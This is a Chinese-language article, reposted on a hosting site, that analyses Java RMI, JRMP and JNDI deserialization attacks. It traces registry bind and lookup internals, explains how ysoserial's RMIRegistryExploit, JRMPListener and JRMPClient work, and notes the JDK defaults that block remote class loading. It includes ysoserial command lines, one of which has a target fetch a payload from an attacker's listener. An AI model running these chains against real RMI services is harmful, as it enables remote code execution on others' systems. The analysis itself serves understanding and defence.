- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- Java中怎么遠程調用RMI
Java中怎么遠程調用RMI,很多新手對此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細講解,有這方面需求的人可以來(lái)學(xué)習下,希望你能有所收獲。
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶(hù)端API,通過(guò)不同的訪(fǎng)問(wèn)提供者接口JNDI服務(wù)供應接口(SPI)的實(shí)現,由管理者將JNDI API映射為特定的命名服務(wù)和目錄系統,使得Java應用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互。
JRMP
Java遠程方法協(xié)議(英語(yǔ):Java Remote Method Protocol,JRMP)是特定于Java技術(shù)的、用于查找和引用遠程對象的協(xié)議。這是運行在Java遠程方法調用(RMI)之下、TCP/IP之上的線(xiàn)路層協(xié)議。
RMI
Java遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語(yǔ)言里,一種用于實(shí)現遠程過(guò)程調用的應用程序編程接口。它使客戶(hù)機上運行的程序可以調用遠程上的對象。遠程方法調用特性使Java編程人員能夠在網(wǎng)絡(luò )環(huán)境中分布操作。RMI全部的宗旨就是盡可能簡(jiǎn)化遠程接口對象的使用。
JDK關(guān)鍵版本
RMI Serialization Attack
注意:此Demo沒(méi)有版本限制,但部分邏輯會(huì )由于版本原因造成出入。
Demo
with JDK 1.8.0_151
with java-rmi-server/ rmi.RMIServer、Services、PublicKnown
with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown
PS:低版本無(wú)法在RegistryImpl_Skel下有效斷點(diǎn)。
分析
兩種 bind 區別
Server <-> RMI Registry <-> Client
server 通過(guò) bind 注冊服務(wù)時(shí)會(huì )進(jìn)行序列化傳輸服務(wù)名&Ref,因此會(huì )進(jìn)入RegistryImpl_Skel.dispatch先經(jīng)過(guò)反序列化獲取。
Server(RMI Registry) <-> Client
這種模式下,由于 server 與 Registry 是同一臺機器,在 bind 注冊時(shí)由于 server 上已有其 Ref,因此不需要序列化傳輸,只需要在 bindings list 中添加對應鍵值即可。
注冊、請求流程
RMI Registry 的核心在于 RegistryImpl_Skel。當Server執行bind、Client執行lookup時(shí)候,均會(huì )通過(guò)sun.rmi.registry.RegistryImpl_Skel#dispatch進(jìn)行處理。
bind
首先注意到ServiceImpl繼承了UnicastRemoteObject,在實(shí)例化時(shí)會(huì )通過(guò)exportObject創(chuàng )建返回此服務(wù)的stub。
public class ServiceImpl extends UnicastRemoteObject implements Service {...}/*** Exports the specified object using the specified server ref.*/private static Remote exportObject(Remote obj, UnicastServerRef sref)throws RemoteException{// if obj extends UnicastRemoteObject, set its ref.if (obj instanceof UnicastRemoteObject) {((UnicastRemoteObject) obj).ref = sref;}return sref.exportObject(obj, null, false);}
再通過(guò)bind向RMI Registry服務(wù)器申請注冊綁定服務(wù)名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意觀(guān)察到向RMI Registry申請時(shí),第三個(gè)參數對應 operations 里的操作。
這里尤其注意的兩個(gè) writeObject,分別向 var3 的輸出流中寫(xiě)入序列化后的服務(wù)名&stub。
RMI Registry收到申請時(shí)會(huì )進(jìn)行會(huì )通過(guò)傳入的操作值進(jìn)入相關(guān)流程,0時(shí)進(jìn)入bind,注意到兩次 readObject 分別反序列化獲取服務(wù)名&stub后,再向 bindings List 中寫(xiě)入鍵值。
這里就引出來(lái)了一個(gè)點(diǎn):Server 通過(guò)向 RMI Registry 申請 bind 操作進(jìn)行序列化攻擊。
lookup
再看Client向RMI Registry申請lookup 查找時(shí)候(sun.rmi.registry.RegistryImpl_Stub#lookup)傳遞的操作數為 2,且反序列化了目標服務(wù)名。
RMI
Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)這邊同樣會(huì )先反序列化獲取查詢(xún)服務(wù)名,再從 bindings list 中進(jìn)行查詢(xún)。
這里就引出來(lái)了另一個(gè)點(diǎn):Client 通過(guò)向 RMI Registry 申請 lookup 操作進(jìn)行序列化攻擊。
但是就完了么?
我們再往下看,注意到 86 行出現的 writeObject,這里是將查詢(xún)到的stub序列化傳輸給 Client。
回到 Client 的代碼中,可以看到104 行的 readObject。
這里就引出來(lái)了第三個(gè)點(diǎn):RMI Registry 通過(guò) lookup 操作被動(dòng)式攻擊 Client。
調用時(shí)序列化
現在我們理清了bind、lookup的部分內容,那么 client 是如何實(shí)現遠程調用呢?
通過(guò)跟進(jìn)后可以看到由
java.rmi.server.RemoteObjectInvocationHandler實(shí)現的動(dòng)態(tài)代理,并最終由sun.rmi.server.UnicastRef#invoke實(shí)現調用。
在調用中我們注意到通過(guò)marshalValue打包參數,由unmarshalValue對傳回的內容進(jìn)行反序列化。
限制
這里的 Demo 實(shí)際情況中很難遇到,因為evil是我們根據已知的Services、PublicKnown(含已知漏洞)生成的,在攻擊時(shí)更多都是采用本地 gadget。
攻擊方向
注意到我們上面提出了三個(gè)攻擊向。
1.Server 通過(guò)向 RMI Registry 申請 bind 操作進(jìn)行序列化攻擊;
2.Client 通過(guò)向 RMI Registry 申請 lookup 操作進(jìn)行序列化攻擊;
3.RMI Registry 通過(guò) lookup 操作被動(dòng)式攻擊 Client。
其實(shí)注意到第一個(gè)點(diǎn)里提到的 Server 并不是要求一定要由目標服務(wù)器發(fā)起,比如任意一臺(包括攻擊者)均可以向注冊中心發(fā)起注冊請求進(jìn)而通過(guò) bind 在 RMI Registry 上進(jìn)行攻擊,例如:
Client -- bind --> RMI Registry(Server)
同理第二點(diǎn)、第三點(diǎn)里也是,所以我們更新一下:
1.向 RMI Registry 申請 bind 操作進(jìn)行序列化攻擊;
2.向 RMI Registry 申請 lookup 操作進(jìn)行序列化攻擊;
3.RMI Registry通過(guò)lookup操作被動(dòng)式序列化攻擊請求者。
bind - RMIRegistryExploit
with JDK 1.7.0_17
with java-rmi-server/ rmi.RMIServer2
with ysoserial.exploit.RMIRegistryExploit
ysoserial.exploit.RMIRegistryExploit實(shí)際對應bind攻擊方向,我們來(lái)簡(jiǎn)單看下它的代碼。
核心在于兩點(diǎn),對于第一點(diǎn)可以看看 cc1 分析以及Java動(dòng)態(tài)代理-實(shí)戰這篇。
sun.reflect.annotation.AnnotationInvocationHandler動(dòng)態(tài)代理Remote.class
bind 操作
這里提一下為什么需要動(dòng)態(tài)代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,執行bind時(shí)會(huì )通過(guò)Remote.readObject反序列化,導致調用
AnnotationInvocationHandler.invoke。
codebase傳遞以及useCodebaseOnly
RMI有一個(gè)重要的特性是動(dòng)態(tài)類(lèi)加載機制,當本地CLASSPATH中無(wú)法找到相應的類(lèi)時(shí),會(huì )在指定的codebase里加載class,
需要java.rmi.server.useCodebaseOnly=false,但是這個(gè)特性是一直開(kāi)啟的,直到6u45、7u21修改默認為 true 以防御攻擊。
這里引用官方文檔 Enhancements in JDK 7:
如果RMI連接一端的JVM在其java.rmi.server.codebase系統屬性中指定了一個(gè)或多個(gè)URL,則該信息將通過(guò)RMI連接傳遞到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系統屬性設置為false,則它將嘗試使用這些URL來(lái)加載RMI請求流中引用的Java類(lèi)。
從由RMI連接的遠程端指定位置加載類(lèi)的行為,當被禁用
java.rmi.server.useCodebaseOnly被設定為true。在這種情況下,僅從預配置的位置(例如本地指定的
java.rmi.server.codebase屬性或本地CLASSPATH)加載類(lèi),而不從codebase通過(guò)RMI請求流傳遞的信息中加載類(lèi)。
demo
Client 攻擊 Server
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer2
with java-rmi-client/rmi.RMIClient2、remote.RemoteObject
若 Client 指定了 codebase 地址,Server 加載目標類(lèi)時(shí)會(huì )現在本地 classpath 中進(jìn)行查找,在沒(méi)有找到的情況下會(huì )通過(guò) codebase 對指定地址再次查找。
為了能夠遠程加載目標類(lèi),需要Server加載并配置RMISecurityManager,并同時(shí)設置:
java.rmi.server.useCodebaseOnly=false
在傳輸了 codebase 之后是如何調用的呢?
也是由動(dòng)態(tài)代理類(lèi)
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod實(shí)現遠程調用。
Server 接收到調用指令后,進(jìn)入
sun.rmi.server.MarshalInputStream#resolveClass,
由于 useCodebaseOnly 為 false,從客戶(hù)端指定地址遠程讀取目標類(lèi)。
全部讀取完畢后回到
java.io.ObjectInputStream#readOrdinaryObject,
調用
java.io.ObjectStreamClass#initNonProxy進(jìn)行實(shí)例化。
Server 攻擊 Client
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2
with java-rmi-client/rmi.RMIClient3
可以對比看到,從sun.rmi.server.UnicastRef#invoke起是一致的邏輯,只是上層調用來(lái)源不一樣,不再贅述。
區別攻擊方向
方法調用請求均來(lái)自 Client。
但區別的產(chǎn)生在于
sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)處的邏輯代碼。
line 79: Client 攻擊 Server,在于讓 Server 請求遠程 Class 產(chǎn)生結果,由于本地同名惡意類(lèi)安全所以不會(huì )對本地造成攻擊。
line 89: Server 攻擊 Clinet,在于 Client 獲取到安全結果后需要獲取遠程 Class 進(jìn)行本地反序列化導致被攻擊。
with JDK 1.7.0_80
with java-rmi-server/rmi.RMIServer2
看情況取舍:
上面說(shuō)的RMI通信過(guò)程中假設客戶(hù)端在與RMI服務(wù)端通信中,雖然也是在JRMP協(xié)議上進(jìn)行通信,嘗試傳輸序列化的惡意對象到服務(wù)端,此時(shí)服務(wù)端若也返回客戶(hù)端一個(gè)惡意序列化的對象,那么客戶(hù)端也可能被攻擊,利用JRMP就可以利用socket進(jìn)行通信,客戶(hù)端直接利用JRMP協(xié)議發(fā)送數據,而不用接受服務(wù)端的返回,因此這種攻擊方式也更加安全。
這里我們針對 ysoserial 的幾個(gè)相關(guān) Class 進(jìn)行分析,首先先列舉下相關(guān)的作用。
payloads.JRMPListener 在目標服務(wù)器目標端口上開(kāi)啟JRMP監聽(tīng)服務(wù) - 獨立利用
payloads.JRMPClient 向目標服務(wù)器發(fā)送注冊 Ref,目標 exploit.JRMPListener 地址
exploit.JMRPListener 被動(dòng)向請求方傳輸序列化 payload
exploit.JRMPClient 主動(dòng)向目標服務(wù)器傳輸序列化 payload
除此之外,我們還需要了解下關(guān)于DGC的一些內容,以便理解下面的內容。
RMI.DGC 為 RMI 分布式垃圾回收提供了類(lèi)和接口。當 RMI 服務(wù)器返回一個(gè)對象到其客戶(hù)機(遠程方法的調用方)時(shí),其跟蹤遠程對象在客戶(hù)機中的使用。當再沒(méi)有更多的對客戶(hù)機上遠程對象的引用時(shí),或者如果引用的“租借”過(guò)期并且沒(méi)有更新,服務(wù)器將垃圾回收遠程對象。
payloads.JRMPListener
在了解之前,我們先看下JAVA原生序列化有兩種接口實(shí)現。
1.Serializable接口:要求實(shí)現writeObject、readObject、writeReplace、readResolve
2.Externalizable接口:要求實(shí)現 writeExternal、readExternal
分析
回到JRMPListener中,代碼很簡(jiǎn)單,主要功能就是生成一個(gè)開(kāi)啟目標端口進(jìn)行監聽(tīng)RMI服務(wù)的payload。
我們首先跟入到
ysoserial.payloads.util.Reflections#createWithConstructor,了解下函數邏輯。
1.先查找RemoteObject下參數類(lèi)型為 RemoteRef 的構造器。
2.根據找到的構造器為ActivationGroupImpl動(dòng)態(tài)生成一個(gè)新的構造器并生成實(shí)例。
為什么需要這樣呢?其實(shí)就是為了避免調用ActivationGroupImpl本身的構造方法,避免復雜的或其他不可控的問(wèn)題。
我們關(guān)注下UnicastRemoteObject在序列化階段做了什么,從reexport跟入到exportObject,創(chuàng )建監聽(tīng)并返回此 stub。
另外,通過(guò)上面的分析實(shí)際上我們只用需要UnicastRemoteObject就足夠開(kāi)啟監聽(tīng)利用,下面兩種也可以,但好奇為什么作者要通過(guò)子類(lèi)轉換實(shí)現利用呢?
ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});
利用
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>
payloads.JRMPClient
分析
作為 payloads 核心代碼依舊不是很多,生成 ref 并封裝到 handler,動(dòng)態(tài)代理Registry類(lèi)。
實(shí)際上,對于 ClassLoader 我們是可以設置為 Null,這個(gè)問(wèn)題可以通過(guò)上面的資料鏈接回答。
至于為什么強轉為 Registry ?只是因為我們動(dòng)態(tài)代理了這個(gè)類(lèi),集成了需要代理類(lèi)的各種方法,在不調用這些方法時(shí)替換成任意 Object 子類(lèi)均可。
現在我們看下代碼邏輯:
當我們傳遞一個(gè) proxy 準備序列化時(shí),大意上同樣會(huì )對其成員進(jìn)行序列化(這里不展開(kāi),需要自己看序列化),所以會(huì )調用其父類(lèi) RemoteObject.readObject()
注意到最后會(huì )調用 readExternal 方法,原因已在上文提到。
這里便會(huì )調用
sun.rmi.server.UnicastRef#readExternal,
之后進(jìn)入
sun.rmi.transport.LiveRef#read,
但這里并不能進(jìn)入到 DGCClient 注冊,但會(huì )把 ref 信息存入到
ConnectionInputStream.incomingRefTable中。
在最后釋放輸入連接時(shí),會(huì )對incomingRefTable中的 ref 進(jìn)行注冊。
為什么要這么做呢?java 注釋寫(xiě)有,詳細內容沒(méi)有查到。
/*** Save reference in order to send "dirty" call after all args/returns* have been unmarshaled. Save in hashtable incomingRefTable. This* table is keyed on endpoints, and holds objects of type* IncomingRefTableEntry.*/
而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是類(lèi)似注釋中的流程。
回到 ref 注冊,實(shí)際是會(huì )在 DGCClient 中對 refs 進(jìn)行注冊。
然后對傳輸過(guò)來(lái)的數據直接進(jìn)行反序列化解析,這里的內容放在
exploit.JRMPListener中講解。
所以整個(gè)流程分析下來(lái),并沒(méi)有看到需要使用動(dòng)態(tài)代理的地方,因此生成 payload 時(shí)直接序列化傳輸RemoteObject子類(lèi)也就足夠,而原生自帶的容易控制的子類(lèi)為RemoteObjectInvocationHandler,即:
利用
payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>
exploit.JRMPListener
分清兩個(gè)JRMPListener的區別
payloads.JRMPListener 在目標機上開(kāi)啟 JMRP 監聽(tīng)
exploit.JRMPListener 實(shí)現對 JRMP Client 請求的應答
分析
從 Main 可以看到基本邏輯就是開(kāi)啟監聽(tīng) JRMP 端口等待連接后傳輸惡意 payload。
在監聽(tīng)時(shí)對協(xié)議進(jìn)行解析,對為 StreamProtocol、SingleOpProtocol 的連接均會(huì )通過(guò) doMessage 進(jìn)行應答。
而在 doMessage 中對遠程RMI調用發(fā)送 payload 數據包。
那么 payload 是填充到哪里了呢?
注意到 doCall 函數中的這段代碼,和 cc5 的入口點(diǎn)是一樣的。
但需要注意的是,BadAttributeValueExpException.readObject的觸發(fā)點(diǎn)不一定是 valObj.toSting(),這里在調試的時(shí)候出現了一堆莫名其妙的現象。
拋開(kāi)后續的利用,我們從開(kāi)始看下目標是如何向 JRMPListener 請求的。
會(huì )向 DGCClient 中進(jìn)行注冊 Ref,通過(guò)80請求、81應答進(jìn)行傳輸,這里可以關(guān)注下調用棧,結合上面 DGC 內容進(jìn)行了解。
那么 80 是如何出現的呢?
看到StreamRemoteCall初始化時(shí)會(huì )直接往第一個(gè)字節寫(xiě)入 80。
接著(zhù)目標會(huì )讀取 Listener 傳遞的值對之后的內容選擇是否進(jìn)行反序列化,反序列化的內容就和上面連接起來(lái)了。
額外提一下,var1在這里的意義是用來(lái)判斷Listener是否為正常返回,如果因為某些原因在 Listener 端產(chǎn)生了異常報錯需要將報錯信息傳遞回請求端,而傳遞的信息是序列化的所以會(huì )在請求端觸發(fā)反序列化。
利用
本身無(wú)法直接利用的,需要向目標機發(fā)送 payloads.JRMPClient 以被動(dòng)攻擊。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
exploit.JRMPClient
分清兩個(gè) JRMPClient 區別,以及 RMIRegistry
Exploit
payloads.JRMPClient 向目標DGC注冊Ref
exploit.JRMPClient 向目標DGC傳輸序列化 payload
exploit.RMIRegistryExploit 向目標RMI.Registry傳輸序列化 payload,目標為 RMI.Registry 監聽(tīng)端口
下面是payloads.JRMPListener和RMI.Registry 開(kāi)啟的監聽(tīng)端口在nmap掃描下的不同信息:
exploit.JRMPClient 可以對兩者進(jìn)行攻擊;
exploit.RMIRegistryExploit只能攻擊后者。
分析
先在sun.rmi.server.UnicastServerRef#dispatch中讀取 Int 數據。
然后在
sun.rmi.server.UnicastServerRef#oldDispatch中讀取 Long 數據。
之后進(jìn)入sun.rmi.transport.DGCImpl_Skel#dispatch,先對讀取的 Long 數據即接口 hash 值進(jìn)行判斷是否為相同。
再根據之前讀取的 Int 數據進(jìn)行相應的處理。
利用
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>
關(guān)于 JNDI 的內容已在整篇文章開(kāi)頭有涉及,此處暫時(shí)無(wú)額外需求。
demo
with JDK 1.7.0_17
with jndi\rmi.RMIClient、rmi.RMIServer
分析
我們跟進(jìn)Client執行lookup后看看發(fā)生了什么。
同樣也是Client向Server請求查詢(xún)test_service對應的 stub,再執行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中獲取目標類(lèi)的 ref。
之后帶入 ref 到
javax.naming.spi.NamingManager#getObjectInstance中進(jìn)行遠程工廠(chǎng)類(lèi)的加載(所以Server 端 new Reference 時(shí)的第一個(gè) class 參數隨便寫(xiě)不影響)。
這樣就是在 Client 執行 lookup 操作時(shí)讓其直接加載遠程惡意類(lèi)進(jìn)行 RCE,不需要任何其他的 gadget。
防御
受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接遠程加載會(huì )被限制,報錯信息如下:
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站